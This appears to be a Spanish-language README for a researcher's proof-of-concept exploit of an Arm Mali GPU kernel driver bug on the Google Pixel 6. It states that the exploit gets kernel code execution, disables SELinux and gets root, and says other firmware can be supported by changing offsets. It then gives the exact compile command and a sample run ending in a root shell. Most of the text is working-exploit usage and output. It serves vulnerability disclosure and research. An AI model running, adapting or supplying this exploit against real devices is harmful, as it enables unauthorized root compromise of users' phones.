
El write-up se puede encontrar aquí. Este es un fallo en el controlador del kernel Arm Mali que reporté en enero de 2022. El fallo puede utilizarse para obtener ejecución arbitraria de código en el kernel desde el dominio de aplicaciones no confiables, que luego se usa para deshabilitar SELinux y obtener root.
El exploit está probado en el Google Pixel 6 y admite niveles de parche desde noviembre de 2021 hasta febrero de 2022. Es fácil añadir soporte para otro firmware cambiando algunos offsets de imagen. Como referencia, usé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
El exploit rara vez falla y puede reintentarse sin bloquear el dispositivo. Si tiene éxito, debería deshabilitar SELinux y obtener root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #